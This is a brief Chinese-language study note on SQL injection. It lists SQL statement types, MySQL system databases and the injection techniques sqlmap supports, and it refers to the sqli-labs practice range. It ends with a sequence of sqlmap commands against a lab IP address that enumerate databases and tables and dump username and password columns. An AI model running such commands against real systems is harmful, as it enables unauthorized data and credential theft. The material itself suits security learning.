SQL注入原理和流程
SQL类型
- DQL:数据查询语言(select)
- DML:数据操作语言(insert, update, delete)
- DDL:数据定义语言(create, drop, alter)
- DCL:数据控制语言(grant, revoke, commit, rollback)
- 函数:字符串函数、数字函数、日期函数
- 运算符:算术运算符、比较运算符、逻辑运算符、位运算符
获取数据库信息
- show命令
- select + 函数
- 系统库
系统库
系统库 | 描述 |
---|---|
information_schema | MySQL服务器所有数据库的信息 |
mysql | 基存储数据库的用户、权限设置、关键字等 |
performance_schema | 主要用于收集数据库服务器性能参数 |
sys | 数据来自performance_schema |
SQL注入工具
sqlmap
类型 | 描述 |
---|---|
boolean-based blind | 基于Boolean的盲注 |
time-based blind | 基于时间的盲注 |
error-based | 基于报错 |
UNION query-based | 基于联合查询 |
stacked queries | 基于多条SQL语句(堆叠注入) |
out-of-band(OOB) | 非应用内通信注入,比如DNSLog |
1. SQLmap常用命令使用
sqlmap -u http://192.168.2.200/url.php?id=1
sqlmap -u "http://192.168.2.200/url.php?id=1" --current-db
sqlmap -u "http://192.168.2.200/url.php?id=1" --level=5 --risk=3 --dbs
sqlmap -u "http://192.168.2.200/url.php?id=1" --level=5 --risk=3 --dbms=mysql -D "security" --tables
sqlmap -u "http://192.168.2.200/url.php?id=1" --level=5 --risk=3 --dbms=mysql -D "security" -T "users" --col
sqlmap -u "http://192.168.2.200/url.php?id=1" --level=5 --risk=3 --dbms=mysql -D "security" -T "users" -C "password,username" --dump
靶场: sqli-labs
支持php7的代码链接地址: sqli_labs_sqli-version